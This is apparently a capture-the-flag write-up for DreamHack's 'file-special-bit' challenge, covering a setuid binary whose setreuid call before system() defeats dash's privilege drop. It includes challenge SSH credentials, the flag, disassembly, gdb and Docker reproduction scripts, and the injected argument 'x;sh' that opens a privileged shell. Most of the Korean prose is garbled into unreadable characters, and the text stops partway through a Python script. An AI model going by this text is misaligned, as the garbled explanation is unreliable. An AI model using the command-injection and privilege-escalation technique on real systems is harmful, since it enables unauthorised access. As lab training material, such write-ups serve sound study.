๋ฌธ์ : DreamHack โ file-special-bit ๋ถ๋ฅ: misc ๋์ด๋: ๐ฅ Silver 4 FLAG:
DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}
๋ฌธ์ ์ค๋ช ์ ๋ ์ค์ด๋ค. "์๋ฒ์์ ์๋ํ๊ณ ์๋ ์๋น์ค์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค. dream ์ ์ ์ ๊ถํ์ผ๋ก flag ํ์ผ์ ์ฝ์ผ์ธ์."
ssh ๊ณ์ chall / dhbeginnerchall1 ๋ก ๋ค์ด๊ฐ๋ฉด ๋๊ณ , ๋ฐฐํฌ ํ์ผ์ chall ๋ฐ์ด๋๋ฆฌ์ chall.c ์์ค ๋๋ฟ์ด๋ค.
์ ๋ชฉ์ "special bit" ๊ฐ ๊ณง ํํธ๋ค. ํ์ผ ๊ถํ์ ํน์ ๋นํธ, ๊ทธ๋ฌ๋๊น setuid ์๊ธฐ๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | file-special-bit |
| ๋์ด๋ | ๐ฅ Silver 4 |
| ๋ถ๋ฅ | misc |
| ์ ๊ณต ํ์ผ | chall (x86-64, no-pie), chall.c |
| ์๋ฒ | ssh chall@host*.dreamhack.games |
| ์คํ | Ubuntu 22.04 ยท glibc 2.35 ยท /bin/sh โ dash |
| ํต์ฌ ์ทจ์ฝ์ | setuid ๋ฐ์ด๋๋ฆฌ๊ฐ system() ์ง์ ์ setreuid ๋ก real uid ๋ฅผ ์ฌ๋ ค, sh ์ ๊ถํ ๊ฐํ๋ฅผ ์ค์ค๋ก ๋ฌด๋ ฅํ |
ํ๋ฆ์ ์งง๋ค. ์์ค๋ฅผ ์ฝ๊ณ argv[1] ์ด ์
ธ ๋ช
๋ น์ ๊ทธ๋๋ก ๋ค์ด๊ฐ๋ค๋ ๊ฑธ ํ์ธํ ๋ค, uid ๋ ๊ฐ๋ฅผ ์ ํํ ์
๋ ฅํด ๊ฒ์ฌ๋ฅผ ํต๊ณผํ๊ณ , ์ธ๋ฏธ์ฝ๋ก ์ผ๋ก ๋ช
๋ น์ ํ๋ ๋ง๋ถ์ฌ dream ๊ถํ ์
ธ์ ๋์ด๋ค.
๐ฌ ์ ์ฐฐ โ ์๋ฒ์ ๋ญ๊ฐ ์๋
๋จผ์ ssh ๋ก ๋ค์ด๊ฐ ํ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ณธ๋ค. ๋น๋ฐ๋ฒํธ๊ฐ ๋ฌธ์ ์ค๋ช
์ ๊ณต๊ฐ๋ผ ์์ผ๋ sshpass ๋ก ํ ์ค์ ๋๋ธ๋ค.
sshpass -p dhbeginnerchall1 ssh -p 10023 \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR \
chall@host3.dreamhack.games 'id; ls -l; ls -ld /home/dream; cat flag'
์ฌ๊ธฐ์ ๋ณผ ๊ฒ ์ธ ๊ฐ์ง๋ค.
chall ์ ๊ถํ์ด -rwsr-xr-x ๋ค. ์์ ์ ์คํ ๋นํธ ์๋ฆฌ์ x ๊ฐ ์๋๋ผ s ๊ฐ ๋ฐํ ์๋ค. ์ด๊ฒ setuid ๋นํธ๊ณ , ์์ ์๋ dream ์ด๋ค. ์ฆ ๋ด๊ฐ ์คํํด๋ ํ๋ก์ธ์ค์ effective uid ๋ dream ์ด ๋๋ค.
flag ๋ -r--r----- dream dream ์ด๋ค. ์์ ์์ ๊ทธ๋ฃน๋ง ์ฝ์ ์ ์๋๋ฐ ๋๋ uid=1000(chall) gid=1000(chall) ์ด๋ผ ์ด๋ ์ชฝ์๋ ์ ๊ฑธ๋ฆฐ๋ค. ๊ทธ๋์ cat flag ๊ฐ Permission denied ๋ก ํ๊ธด๋ค.
๊ทธ๋ฆฌ๊ณ flag ๊ฐ /home/dream ์ด ์๋๋ผ ๋ด ํ์ ์๋ค. ์ด๊ฒ ๋์ค์ ํ์ด๋ก๋ ๊ธธ์ด ๋ฌธ์ ์ ์ฝํ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ uid ๋ ์ธ ๊ฐ๊ณ , sh ๋ ๊ทธ๊ฑธ ๋ณธ๋ค
๋ฆฌ๋ ์ค ํ๋ก์ธ์ค๋ ์ฌ์ฉ์ ID ๋ฅผ ํ๋๋ง ๊ฐ๊ณ ์์ง ์๋ค.
- real uid (ruid) โ ์ด ํ๋ก์ธ์ค๋ฅผ ์ค์ ๋ก ๋์ด ์ฌ๋. ์ฌ๊ธฐ์
chall. - effective uid (euid) โ ๊ถํ ๊ฒ์ฌ์ ์ค์ ๋ก ์ฐ์ด๋ ๊ฐ. setuid ํ์ผ์ ์คํํ๋ฉด ํ์ผ ์์ ์๋ก ๋ฐ๋๋ค.
- saved set-user-ID (suid) โ euid ๋ฅผ ์ ๊น ๋ด๋ ธ๋ค๊ฐ ๋๋๋ฆด ์ ์๊ฒ ๋ณด๊ดํด ๋๋ ๊ฐ.
setuid ๋นํธ๊ฐ ๋ถ์ ํ์ผ์ execve ํ๋ฉด euid ์ suid ๊ฐ ํ์ผ ์์ ์(dream)๋ก ์ธํ
๋๊ณ , ruid ๋ง ์๋ ์ฌ์ฉ์(chall)๋ก ๋จ๋๋ค. ํ์ผ ๊ถํ ๊ฒ์ฌ๋ euid ๋ก ํ๋ฏ๋ก, ์ด ํ๋ก์ธ์ค๋ dream ์ ํ์ผ์ ์ฝ์ ์ ์๋ค.
๋ฌธ์ ๋ ๊ทธ ํ๋ก์ธ์ค๊ฐ ์
ธ์ ๋ถ๋ฅผ ๋ ์๊ธด๋ค. system() ์ /bin/sh -c "..." ๋ฅผ ์๋ก ๋์ฐ๋๋ฐ, sh ์
์ฅ์์๋ ์๊ธฐ๊ฐ setuid ํ๋ก๊ทธ๋จ์ ์นํ ์คํ๋๋์ง ์ ๊ธธ์ด ์๋ค. ๊ทธ๋์ dash ๋ ์์ํ ๋ euid ์ ruid ๊ฐ ๋ค๋ฅด๋ฉด euid ๋ฅผ ruid ๋ก ๋๋๋ ค ๋ฒ๋ฆฐ๋ค. man ํ์ด์ง์ ๊ทธ ์ด์ ๊ฐ ๊ทธ๋๋ก ์ ํ ์๋ค.
man dash | grep -B1 -A5 -- "-p priviliged"
"setuid root ํ๋ก๊ทธ๋จ์ด system(3) ์ด๋ popen(3) ์ ์๋ชป ์ฐ๋ ๊ฑธ ๋ง์ผ๋ ค๊ณ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ผ ๋๋ค"๋ ๋ฌธ์ฅ์ด๋ค. ์ด ์์ ์ฅ์น ๋๋ถ์ ๋ณดํต์ setuid ๋ฐ์ด๋๋ฆฌ์ ๋ช
๋ น ์ฃผ์
์ด ๋๋ ๊ถํ๊น์ง ๋ฐ๋ผ์ค์ง๋ ์๋๋ค.
์ด ๋ฌธ์ ์ ์ฝ๋๋ ๊ทธ ์ฅ์น๋ฅผ ์ ํํ ๋น๊ปด๊ฐ๋ค.
๐ ์ฝ๋์ ๋ฐ์ด๋๋ฆฌ
์ ๊ณต๋ ์์ค๋ ์ด๊ฒ ์ ๋ถ๋ค.
//Name: chall.c
//Compile: gcc chall.c -o chall -no-pie -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]){
if(argc == 2){
char filename[10];
char cmd[20];
int ruid = 0;
int euid = 0;
memcpy(filename, argv[1], sizeof(filename));
snprintf(cmd, 19, "cat %s", filename);
printf("Your ruid : \n");
scanf("%d", &ruid);
printf("Your euid : \n");
scanf("%d", &euid);
if(ruid == getuid() && euid == geteuid()) {
setreuid(geteuid(), geteuid());
printf("Your ruid : %d Your euid : %d\n", getuid(), geteuid());
system(cmd);
} else {
printf("No.\n");
}
}
else {
printf("argument...\n");
}
return 0;
}์ฝ์๋ง์ ๊ฑธ๋ฆฌ๋ ๊ฒ ๋ ๊ฐ๋ค. argv[1] ์ด ์๋ฌด ๊ฒ์ฌ ์์ด "cat %s" ์ ๋ค์ด๊ฐ system() ์ผ๋ก ๋์ด๊ฐ๋ค๋ ๊ฒ, ๊ทธ๋ฆฌ๊ณ system() ๋ฐ๋ก ์์ setreuid(geteuid(), geteuid()) ๊ฐ ์๋ค๋ ๊ฒ.
๋ฐฐํฌ๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ์ ๋ง ์ด ์์ค์ ๊ฐ์์ง๋ถํฐ ํ์ธํ๋ค.
file chall; readelf -h chall | grep -E "Type|Entry"; nm -D chall
EXEC ํ์
์ด๋ผ PIE ๊ฐ ์๋๋ค. ์ฃผ์๊ฐ ๊ณ ์ ์ด๋ ๋์ค์ gdb ๋ก ๋ธ๋ ์ดํฌ ๊ฑธ ๋ ํธํ๋ค. ์ํฌํธ์ getuid ยท geteuid ยท setreuid ยท snprintf ยท system ์ด ๊ทธ๋๋ก ์๊ณ , memcpy ๋ ํฌ๊ธฐ๊ฐ ์์๋ผ ์ปดํ์ผ๋ฌ๊ฐ ์ธ๋ผ์ธํด ๋ฒ๋ ค์ ์ ๋ณด์ธ๋ค. ์์ค์ ์ด๊ธ๋๋ ๋ถ๋ถ์ ์๋ค.
__libc_start_main@GLIBC_2.34 ๋ฅผ ์๊ตฌํ๋ฏ๋ก ๋น๋ ํ๊ฒฝ์ Ubuntu 22.04 ๊ณ์ด์ด๋ค. ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋๋ฅผ ๊ทธ ๋ฒ์ ์ผ๋ก ๋ง์ถฐ์ผ ํ๋ค๋ ๋ป์ด๊ธฐ๋ ํ๋ค.
๋ฒํผ ํฌ๊ธฐ๋ฅผ ๋ช ๋ น ๋จ์๋ก ํ์ธ
์์ค์ ์ ํ 10 ๊ณผ 19 ๊ฐ ์ค์ ๋ก ์ด๋ค ๋ช
๋ น์ด ๋๋์ง ๋ณธ๋ค. ์ฃผ์์ sed ๊ท์น ํ์ผ๋ก ์น๋๋ค โ --cmd ์์ ์ธ๋ผ์ธ์ผ๋ก ๋ฃ์ผ๋ฉด ๋ฐ์ดํ๊ฐ zsh ๋ฅผ ์ง๋๋ฉฐ ๊นจ์ง๋ค.
# annot.sed โ objdump ์ถ๋ ฅ์ ์ฃผ์๋ง ์น๋๋ค. ๋ช
๋ นยท์ฃผ์๋ ์๋์ง ์๋๋ค.
/^ 40124a:/s/$/ <-- rax = argv[1]/
/^ 40124d:/s/$/ <-- argv[1] ์ 8๋ฐ์ดํธ/
/^ 401250:/s/$/ <-- filename[0..7] (rbp-0x1a)/
/^ 401254:/s/$/ <-- argv[1][8..9] 2๋ฐ์ดํธ ๋/
/^ 401258:/s/$/ <-- filename[8..9] = memcpy 10๋ฐ์ดํธ ๋/
/^ 401260:/s/$/ <-- rdi = cmd (rbp-0x30)/
/^ 40126e:/s/$/ <-- esi = 0x13 = snprintf ์ํ 19/
/^ 40127b:/s/$/ <-- snprintf(cmd, 19, "cat %s", filename)/
/^ 4012d4:/s/$/ <-- getuid()/
/^ 4012dc:/s/$/ <-- ๋ด๊ฐ ๋ฃ์ ruid ์ ๋น๊ต/
/^ 4012e0:/s/$/ <-- geteuid()/
/^ 4012e8:/s/$/ <-- ๋ด๊ฐ ๋ฃ์ euid ์ ๋น๊ต/
/^ 4012fc:/s/$/ <-- setreuid(dream, dream) real uid ๊น์ง dream/
/^ 40132c:/s/$/ <-- system(cmd) ์ฌ๊ธฐ์ \/bin\/sh ๋ก/objdump -d --no-show-raw-insn -M intel \
--start-address=0x401242 --stop-address=0x401280 chall | tail -n +8 | sed -f annot.sed
memcpy ๊ฐ mov QWORD PTR [rbp-0x1a],rdx ์ mov WORD PTR [rbp-0x12],ax ๋ ๊ฐ๋ก ํผ์ณ์ก๋ค. 8๋ฐ์ดํธ + 2๋ฐ์ดํธ = 10๋ฐ์ดํธ๋ค. filename ์ rbp-0x1a ์ ์๋ค.
๊ทธ ์๋ mov esi,0x13 ์ด snprintf ์ ํฌ๊ธฐ ์ธ์๋ค. 0x13 = 19. cmd ๋ rbp-0x30 ์ด๋ค.
์ฌ๊ธฐ์ ์ค์ํ ๊ฑด memcpy ๊ฐ ๊ธธ์ด๋ฅผ ํญ์ 10 ์ผ๋ก ๊ณ ์ ํ๋ค๋ ์ ์ด๋ค. argv[1] ์ด ์งง์ผ๋ฉด ๊ทธ ๋๋จธ๊น์ง ์ฝ๊ณ , ๊ธธ๋ฉด 10๋ฐ์ดํธ์์ ์๋ฅธ๋ค. ์ด๋ ์ชฝ์ด๋ filename ์ NUL ์ด ๋ค์ด๊ฐ๋ค๋ ๋ณด์ฅ์ด ์๋ค.
๊ถํ ์ชฝ๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก ๋ณธ๋ค.
objdump -d --no-show-raw-insn -M intel \
--start-address=0x4012d4 --stop-address=0x401331 chall | tail -n +8 | sed -f annot.sed
getuid() ๊ฒฐ๊ณผ๋ฅผ ๋ด๊ฐ ๋ฃ์ ruid ์, geteuid() ๊ฒฐ๊ณผ๋ฅผ euid ์ ๋น๊ตํ๋ค. ๋ ์ค ํ๋๋ผ๋ ๋ค๋ฅด๋ฉด No. ๋ก ๋น ์ง๋ค. ํต๊ณผํ๋ฉด geteuid() ๋ฅผ ๋ ๋ฒ ๋ถ๋ฌ ๊ทธ ๊ฐ์ ๊ทธ๋๋ก setreuid ์ ๋๊ธฐ๊ณ , ๊ณง๋ฐ๋ก system(cmd) ๋ค.
์ด ๊ฒ์ฌ๋ ์ฌ์ค์ ์๋ฌด๊ฒ๋ ๋ง์ง ์๋๋ค. ๊ฐ์ ๋งํ๋ ๊ฒ ์๋๋ผ ๋ด๊ฐ ์ง๊ธ ๋ช ๋ฒ uid ์ธ์ง ์๊ณ ์๋๋๋ฅผ ๋ฌป๋ ๊ฒ๋ฟ์ด๋ผ, id -u ์ ๋ฐ์ด๋๋ฆฌ ์์ ์๋ง ๋ณด๋ฉด ๋๋ค.
๐งช ๋ฐํ์์ผ๋ก ํ์ธ โ cmd ์ ์ค์ ๋ก ๋ญ๊ฐ ๋ค์ด๊ฐ๋
์ ์ ์ผ๋ก ์ฝ์ ์คํ์
์ด ์คํ ์ค์๋ ๋ง๋์ง, ๊ทธ๋ฆฌ๊ณ ๊ธด ๊ฒฝ๋ก๋ฅผ ๋ฃ์ผ๋ฉด ์ ํํ ์ด๋์ ์๋ฆฌ๋์ง gdb ๋ก ๋ณธ๋ค. no-pie ๋ผ 0x40132c(system ํธ์ถ)์ ๊ทธ๋๋ก ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ ์ ์๋ค.
# cmds.gdb โ system(cmd) ํธ์ถ ์ง์ ์ ๋ฉ์ถฐ ์คํ์ ์ค์ ๋ก ๋ญ๊ฐ ๋ค์ด๊ฐ๋์ง ๋ณธ๋ค.
set confirm off
set pagination off
break *0x40132c
run /home/dream/flag < uids.txt
printf "\n--- system() ์ง์ ์คํ ---\n"
printf "filename[10] @ rbp-0x1a : %s\n", (char *)($rbp-0x1a)
printf "cmd[20] @ rbp-0x30 : %s\n", (char *)($rbp-0x30)
printf "system() ์ธ์ rdi : %s\n", (char *)$rdi
printf "\ncmd ๋ฒํผ ์๋ณธ 20๋ฐ์ดํธ:\n"
x/20bx $rbp-0x30
printf "\nfilename ๋ฒํผ 10๋ฐ์ดํธ + ๊ทธ ๋ค 6๋ฐ์ดํธ (๋์ NUL ์ด ์๋?):\n"
x/16bx $rbp-0x1a
continueuids.txt ์๋ ๋ก์ปฌ uid ๋ฅผ ๋ ์ค๋ก ๋ฃ์ด ๋๋ค. ๋ก์ปฌ ์ฌ๋ณธ์ setuid ๊ฐ ์๋๋ผ์ getuid() ์ geteuid() ๊ฐ ๊ฐ์ ๊ฐ์ด๋ค.
printf '1000\n1000\n' > uids.txt
gdb -q -batch -x cmds.gdb ./chall
/home/dream/flag ๋ฅผ ๋ฃ์๋๋ฐ filename ์๋ /home/drea ๋ง ๋ค์ด๊ฐ๋ค. ๋ฐ์ดํธ ๋คํ๋ฅผ ๋ณด๋ฉด 10์นธ์ด ์ ๋ถ ๊ฒฝ๋ก ๊ธ์๋ก ์ฐจ ์๊ณ NUL ์ด ์๋ค. ๊ทธ๋ฐ๋ฐ ๋ฐ๋ก ๋ค 6๋ฐ์ดํธ๊ฐ ์ ๋ถ 0x00 ์ด๋ผ snprintf ๊ฐ ๊ฑฐ๊ธฐ์ ๋ฉ์ท๊ณ , ๊ฒฐ๊ณผ์ ์ผ๋ก cmd ๋ cat /home/drea ๊ฐ ๋๋ค.
system() ์ ๋์ด๊ฐ๋ rdi ๋ ๊ฐ์ ๋ฌธ์์ด์ด๋ค. ์ ์ ๋ถ์์์ ์ง์ rbp-0x1a / rbp-0x30 ์ด ๋ฐํ์์์๋ ๊ทธ๋๋ก๋ค.

์ ๋ฆฌํ๋ฉด ๋ด๊ฐ ์ธ ์ ์๋ ๋ฌธ์์ด์ 10๋ฐ์ดํธ๋ค. cat 4๊ธ์๊ฐ ์์ ๋ถ์ด๋ 19๋ฐ์ดํธ ์ํ์๋ ์ฌ์ ๊ฐ ์์ผ๋, ์ง์ง ์ ์ฝ์ snprintf ๊ฐ ์๋๋ผ memcpy ์ชฝ์ด๋ค.
๐ ์ฝ์ง
โถ๐ ์ฝ์ง 1 โ uid ๋ ๊ฐ๋ฅผ ๋ญ ๋ฃ์ด์ผ ํ๋์ง ๋ชฐ๋ผ ํค๋งธ๋ค
ruid == getuid() && euid == geteuid() ๋ฅผ ๋ณด๊ณ ์ฒ์์ ๋ ๋ค ๋ด uid(1000)๋ฅผ ๋ฃ์๋ค. ๋น์ฐํ No. ๋ค.
geteuid() ๋ setuid ๋ก ๋ฐ๋ ๋ค์ ๊ฐ, ์ฆ ๋ฐ์ด๋๋ฆฌ ์์ ์์ uid ๋ผ์ 1000 ์ด ์๋๋ค. dream ์ uid ๋ /etc/passwd ๋ฅผ ์ฝ๊ฑฐ๋ stat -c %u ./chall ๋ก ๋ฐ๋ก ๋์จ๋ค. ์ด ์๋ฒ์์๋ 2123 ์ด์๋ค.
๊ทธ๋ฆฌ๊ณ ์ ์ฒด ๊ฒฝ๋ก๋ฅผ ๊ทธ๋ฅ ๋ฃ์ด ๋ณธ ๊ฒ๋ ์ฌ๊ธฐ์ ๊ฐ์ด ๊นจ์ก๋ค. ์๋ ์คํฌ๋ฆฝํธ๋ก ์ธ ๊ฒฝ์ฐ๋ฅผ ํ ๋ฒ์ ๋๋ ธ๋ค.
#!/usr/bin/env bash
# ๋ผ์ด๋ธ ์๋ฒ์์ argv[1] ๊ณผ uid ์
๋ ฅ์ ๋ฐ๊ฟ ๊ฐ๋ฉฐ chall ์ ๋ฐ์์ ๋ณธ๋ค.
# ./live_cases.sh host3.dreamhack.games 10023
#
# -tt ๋ก ์๊ฒฉ์ tty ๋ฅผ ๋ถ์ด๋ ๊ฒ ์๋ น์ด๋ค. ์ ๋ถ์ด๋ฉด chall ์ stdout ์ด ํ์ดํ๋ผ
# stdio ๊ฐ ์ ๋ฒํผ๋ง๋ผ์ cat ์ถ๋ ฅ๊ณผ printf ์ถ๋ ฅ์ ์์๊ฐ ๋ค์งํ ๋ณด์ธ๋ค.
set -eu
H=$1; P=$2
S="sshpass -p dhbeginnerchall1 ssh -tt -p $P -o StrictHostKeyChecking=no
-o UserKnownHostsFile=/dev/null -o LogLevel=ERROR chall@$H"
echo "### 1) euid ๋ฅผ ๋ด uid ๋ก ๋ฃ์ผ๋ฉด โ ๊ฒ์ฌ ํต๊ณผ ์คํจ"
$S 'printf "1000\n1000\n" | ./chall flag'
echo "### 2) ์ ์ฒด ๊ฒฝ๋ก /home/dream/flag โ filename[10] ์์ ์๋ฆฐ๋ค"
$S 'printf "1000\n2123\n" | ./chall /home/dream/flag'
echo "### 3) ํ์ ์๋ flag ๋ฅผ ์๋ ๊ฒฝ๋ก๋ก โ 4๋ฐ์ดํธ๋ผ ์ ์๋ฆฐ๋ค"
$S 'printf "1000\n2123\n" | ./chall flag'
1๋ฒ์ No., 2๋ฒ์ cat: /home/drea: No such file or directory ๋ค. gdb ์์ ๋ณธ ์ ๋จ์ด ์๊ฒฉ์์๋ ๋๊ฐ์ด ์ฌํ๋๋ค.
3๋ฒ์์ flag ๊ฐ ๊ทธ๋ฅ ๋์๋ค. ์ ์ฐฐ ๋ ๋ดค๋ฏ flag ๊ฐ ํ์ ์์ด์ ์๋ ๊ฒฝ๋ก 4๋ฐ์ดํธ๋ฉด ์ถฉ๋ถํ๋ค. ๊ฒฝ๋ก ๊ธธ์ด ์ ์ฝ์๋ง ๋งค๋ฌ๋ ค ์์๋๋ฐ, ์ ์ด์ ๊ธด ๊ฒฝ๋ก๋ฅผ ๋ฃ์ ์ด์ ๊ฐ ์์๋ค.
โถ๐ ์ฝ์ง 2 โ ์ถ๋ ฅ ์์๊ฐ ๋ค์งํ์ ํ์ฐธ ์๋ฑํ ๊ฑธ ์์ฌํ๋ค
์ฒ์ -tt ์์ด ssh ๋ก ๋๋ ธ์ ๋ flag ๊ฐ ํ๋กฌํํธ๋ณด๋ค ๋จผ์ ์ฐํ๋ค. ํ๋ก๊ทธ๋จ ํ๋ฆ์ ๋์ฌ ์ ์๋ ์์๋ผ ๋ฆฌ๋ค์ด๋ ์
์ ์๋ชป ๊ฑธ์๋ ์ถ์ด ๋ช
๋ น์ ๋ช ๋ฒ์ด๋ ๋ค์ ๋ดค๋ค.
์์ธ์ stdio ๋ฒํผ๋ง์ด๋ค. chall ์ stdout ์ด ํ์ดํ๋ฉด glibc ๊ฐ ์ ๋ฒํผ๋ง์ ๊ฑธ์ด์ printf ์ถ๋ ฅ์ด ํ๋ก์ธ์ค ์ข
๋ฃ ์์ ์ ํ๊บผ๋ฒ์ flush ๋๋ค. ๋ฐ๋ฉด cat ์ ๋ณ๊ฐ ํ๋ก์ธ์ค๋ผ ์๊ธฐ ์ถ๋ ฅ์ ๊ทธ ์ ์ ๋ฑ๋๋ค. ๊ทธ๋์ ์์๊ฐ ๋ค์งํ ๋ณด์ธ๋ค.
๋ก์ปฌ ์ปจํ ์ด๋๋ก ๋๋ํ ๋๊ณ ๋ณด๋ฉด ๋ช ํํ๋ค.
#!/usr/bin/env bash
# ๊ฐ์ ๋ช
๋ น์ธ๋ฐ ์ถ๋ ฅ ์์๊ฐ ๋ฌ๋ผ์ง๋ ์ด์ โ chall ์ stdout ์ด tty ๋ ํ์ดํ๋.
set -eu
echo "### -t ์์ด โ chall ์ stdout ์ด ํ์ดํ (์ ๋ฒํผ๋ง)"
docker run --rm -i fsb-repro bash -lc 'printf "1000\n2123\n" | ./chall flag'
echo
echo "### -t ๋ถ์ฌ์ โ chall ์ stdout ์ด tty (๋ผ์ธ๋ฒํผ๋ง)"
docker run --rm -t fsb-repro bash -lc 'printf "1000\n2123\n" | ./chall flag'
tty ๋ฅผ ๋ถ์ด๋ฉด ๋ผ์ธ๋ฒํผ๋ง์ด๋ผ ์์๊ฐ ์ ์๋ฆฌ๋ก ๋์์จ๋ค. ์๊ฒฉ์ด๋ฉด ssh -tt, ๋์ปค๋ฉด -t ๋ค.
์ด๊ฑด ์ด ๋ฌธ์ ๋ง์ ์๊ธฐ๊ฐ ์๋๋ผ, ํ์ดํ๋ก ๋ชฐ์๋ฃ๊ณ ๊ฒฐ๊ณผ๋ง ๋ณด๋ ์๋ํ ์ ๋ฐ์์ ๊ณ์ ๋ง๋๋ ํจ์ ์ด๋ค.
๐ฃ ํต์ฌ โ setreuid ํ ์ค
flag ์์ฒด๋ 3๋ฒ ์ผ์ด์ค๋ก ์ด๋ฏธ ๋์๋ค. ํ์ง๋ง ๊ทธ๊ฑด "flag ๊ฐ ๋ง์นจ ํ์ ์๊ณ ์ด๋ฆ์ด ์งง์์" ํตํ ๊ฒ์ด๊ณ , ์ด ๋ฌธ์ ๊ฐ ์ง์ง๋ก ๋ณด์ฌ์ฃผ๋ ค๋ ๊ฑด ๊ทธ ์์ ํ ์ค์ด๋ค.
system(cmd) ์์ cmd ๋ /bin/sh -c ๋ก ๋์ด๊ฐ๋ค. ์ธ๋ฏธ์ฝ๋ก ์ ๋ผ์ฐ๋ฉด ๋ช
๋ น์ ํ๋ ๋ ๋ถ์ผ ์ ์๋ค. x;sh ๋ 4๋ฐ์ดํธ๋ผ 10๋ฐ์ดํธ ์ ํ์๋ ์ ๊ฑธ๋ฆฐ๋ค. cat x ๋ ์๋ ํ์ผ์ด๋ผ ์คํจํ๊ณ , ๋ค์ sh ๊ฐ ๋ฌ๋ค.
๋ฌธ์ ๋ ๊ทธ sh ๊ฐ ๋๊ตฌ ๊ถํ์ผ๋ก ๋จ๋๋๋ค. ์์์ ๋ดค๋ฏ dash ๋ ์์ํ ๋ euid ์ ruid ๊ฐ ๋ค๋ฅด๋ฉด euid ๋ฅผ ๋๋๋ฆฐ๋ค. ์๋๋๋ก๋ฉด ์ฃผ์ ํ ์ ธ์ chall ๊ถํ์ด๋ผ ์๋ฌด ์ธ๋ชจ๊ฐ ์๋ค.
๊ทธ๋ฐ๋ฐ ์ด ์ฝ๋๋ system() ์ง์ ์ setreuid(geteuid(), geteuid()) ๋ฅผ ๋ถ๋ฅธ๋ค. real uid ์ effective uid ๋ฅผ ๋ ๋ค dream ์ผ๋ก ๋ง์ถฐ ๋ฒ๋ฆฐ๋ค. dash ๊ฐ ๋ฐ ๋ ๋ณด๋ ๊ฑด "euid != ruid" ์กฐ๊ฑด์ธ๋ฐ, ์ด๋ฏธ ๋์ด ๊ฐ์ผ๋ ๋๋๋ฆด ๊ฒ ์๋ค.

๋์กฐ๊ตฐ์ ๋ง๋ค์ด ์ง์ ํ์ธ
๋ง๋ก๋ง ํ๋ฉด ์ถ์ธก์ด๋ผ, ๋ผ์ด๋ธ ์๋ฒ์ ๊ฐ์ ๊ตฌ๋๋ฅผ ๋ก์ปฌ์ ๋ง๋ค๊ณ ๊ทธ ํ ์ค๋ง ๋บ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋๋ํ ๋๋ ธ๋ค.
# file-special-bit โ ๋ก์ปฌ ์ฌํ ํ๊ฒฝ
# ๋ผ์ด๋ธ ์๋ฒ์์ ํ์ธํ ๋ฐฐ์น๋ฅผ ๊ทธ๋๋ก ์ฎ๊ฒผ๋ค.
# /home/chall/chall -rwsr-xr-x dream dream (setuid)
# /home/chall/flag -r--r----- dream dream (chall ์ ๋ชป ์ฝ๋๋ค)
# /bin/sh -> dash
#
# ๋์กฐ๊ตฐ chall_nosetreuid ๋ ์ปจํ
์ด๋ ์์์ ์ปดํ์ผํ๋ค.
# ํธ์คํธ์์ ๋น๋ํ๋ฉด glibc ๊ฐ ์์์(GLIBC_2.38) 22.04 ์์ ์ ๋ฌ๋ค.
FROM ubuntu:22.04 AS builder
RUN apt-get update && apt-get install -y --no-install-recommends gcc libc6-dev
COPY chall_nosetreuid.c /tmp/
RUN gcc /tmp/chall_nosetreuid.c -o /tmp/chall_nosetreuid -no-pie -fno-stack-protector
FROM ubuntu:22.04
RUN useradd -m -u 1000 -s /bin/bash chall && \
useradd -m -u 2123 -s /bin/bash dream
COPY chall /home/chall/chall
COPY --from=builder /tmp/chall_nosetreuid /home/chall/chall_nosetreuid
COPY flag /home/chall/flag
RUN chown dream:dream /home/chall/chall /home/chall/chall_nosetreuid /home/chall/flag && \
chmod 4755 /home/chall/chall /home/chall/chall_nosetreuid && \
chmod 440 /home/chall/flag && \
chmod 750 /home/dream
USER chall
WORKDIR /home/chall
CMD ["/bin/bash"]chall_nosetreuid.c ๋ ์๋ณธ์์ ๋ฑ ํ ์ค์ ์ฃผ์ ์ฒ๋ฆฌํ ๊ฒ์ด๋ค.
if(ruid == getuid() && euid == geteuid()) {
/* setreuid(geteuid(), geteuid()); <-- ์ด ์ค์ด ๋น ์ก๋ค */
printf("Your ruid : %d Your euid : %d\n", getuid(), geteuid());
system(cmd);ํ๊ฒฝ์ด ์๊ฒฉ๊ณผ ๊ฐ์์ง๋ถํฐ ๋ณธ๋ค.
docker run --rm fsb-repro bash -lc 'id; ls -l; cat flag'
๊ถํ ๊ตฌ๋๊ฐ ์ ์ฐฐ ๋ ๋ณธ ๊ฒ๊ณผ ๊ฐ๊ณ , chall ์ฌ์ฉ์๋ flag ๋ฅผ ๋ชป ์ฝ๋๋ค. ์ด์ ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ์ ์ธ์๋ก ๋๋ฆฐ๋ค.
#!/usr/bin/env python3
"""setreuid ํ ์ค์ ์ ๋ฌด๊ฐ ๋ฌด์์ ๊ฐ๋ฅด๋์ง ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋์์ ์ง์ ๋์กฐํ๋ค.
chall : ์๋ณธ (system() ์ง์ ์ setreuid(geteuid(), geteuid()))
chall_nosetreuid : ๊ทธ ํ ์ค๋ง ๋บ ๊ฒ (๋๋จธ์ง ์ฝ๋ ๋์ผ)
๋ ๋ค setuid(dream) ์ด๊ณ argv[1] ๋ ๊ฐ๋ค. ์ฐจ์ด๋ sh ๊ฐ ๊ถํ์ ๋จ์ด๋จ๋ฆฌ๋๋๋ฟ์ด๋ค.
"""
import pexpect
RUID, EUID = "1000", "2123" # chall / dream
def run(binary: str, arg: str) -> str:
# -t ํ์: stdout ์ด ํ์ดํ๋ฉด stdio ๊ฐ ์ ๋ฒํผ๋ง๋ผ ์ถ๋ ฅ ์์๊ฐ ๋ค์งํ๋ค
c = pexpect.spawn("docker", ["run", "--rm", "-it", "fsb-repro",
f"/home/chall/{binary}", arg],
encoding="utf-8", timeout=10)
c.expect("Your ruid :")
c.sendline(RUID)
c.expect("Your euid :")
